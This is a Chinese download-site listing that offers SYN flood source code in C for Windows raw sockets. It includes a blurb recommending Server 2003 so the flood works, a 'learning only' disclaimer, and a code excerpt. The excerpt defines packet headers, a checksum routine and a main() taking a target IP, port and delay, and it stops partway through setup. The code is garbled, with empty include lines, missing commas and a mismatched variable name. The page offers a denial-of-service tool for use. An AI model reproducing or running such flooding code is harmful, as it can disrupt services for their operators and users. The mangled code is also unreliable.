• 大小: 2KB
    文件类型: .7z
    金币: 1
    下载: 0 次
    发布日期: 2021-06-03
  • 语言: C/C++
  • 标签: SYN  Flood  源码  SOCKET  

资源简介

SYN flood源代码,可对指定IP的任意端口快速发生SYN数据包,代码利用原始Socket直接操作网络层。 由于微软在XP SP2(包括SP2)以上系统禁止原始SOCKET发生TCP和含无效IP的UDP数据包,所以建议运行在Server 2003。代码仅供学习使用,切莫非法活动。

资源截图

代码片段和文件信息

#include 

#include 

#include 

#include 

#include 

#include 

#pragma comment(lib “ws2_32.lib“)

#define MAX_RECEIVEBYTE 255

typedef struct ip_head //定义IP首部

{

unsigned char h_verlen; //4位首部长度4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度(字节)

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位 (如SYNACK,等)

unsigned char ttl; //8位生存时间 TTL

unsigned char proto; //8位协议 (如ICMP,TCP等)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址

}IPHEADER;

typedef struct tcp_head //定义TCP首部

{

USHORT th_sport; //16位源端口

USHORT th_dport; //16位目的端口

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres; //4位首部长度/6位保留字

unsigned char th_flag; //6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位校验和

USHORT th_urp; //16位紧急数据偏移量

}TCPHEADER;

typedef struct tsd_head //定义TCP伪首部

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz;

char ptcl; //协议类型

unsigned short tcpl; //TCP长度

}PSDHEADER;

//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer int size)

{

unsigned long cksum=0;

while(size >1)

{

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size)

{

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

//Delay_time单位为毫秒。

int main(int argc char* argv[])

{

WSADATA WSAData;

SOCKET sock;

SOCKADDR_IN addr_in;

IPHEADER ipHeader;

TCPHEADER tcpHeader;

PSDHEADER psdHeader;

int SourcePort;

char szSendBuf[60]={0};

BOOL flag;

int rectnTimeOver;

int sleeptime;

printf(“***********************************************************\n“);

printf(“SYN_FLOOD\n“);

printf(“Parameter: FLOOD Target_ip Target_port Delay_time\n“);

printf(“***********************************************************\n“);

if (argc < 3 || argc >4 )

{ printf(“input error! “);

return false; }

if (argc==4) sleeptime=atoi(argv[3]);

else sleeptime=300;

if (WSAStartup(MAKEWORD(22) &WSAData)!=0)

{

printf(“WSAStartup Error!“);

return false;

}

sock=NULL;

if ((sock=socket(AF_INETSOCK_RAWIPPROTO_IP))==INVALID_SOCKET)

{

printf(“Socket Setup Error!“);

return false;

}

flag=true;

if (setsockopt(sockIPPROTO_IP IP_HDRINCL(char *)&flagsizeof(flag))==SOCKET_ERROR)

{

printf(“setsockopt IP_HDRINCL error!“);

return false;

}

nTimeOver=1000;

if (setsockopt(sock SOL_SOCKET SO_SNDTIMEO (char*)&nTimeOver sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间

{

printf(“setsockopt SO_SNDTIMEO error!“);

return false;

}

addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(atoi(argv[2]));

addr_in.s

评论

共有 条评论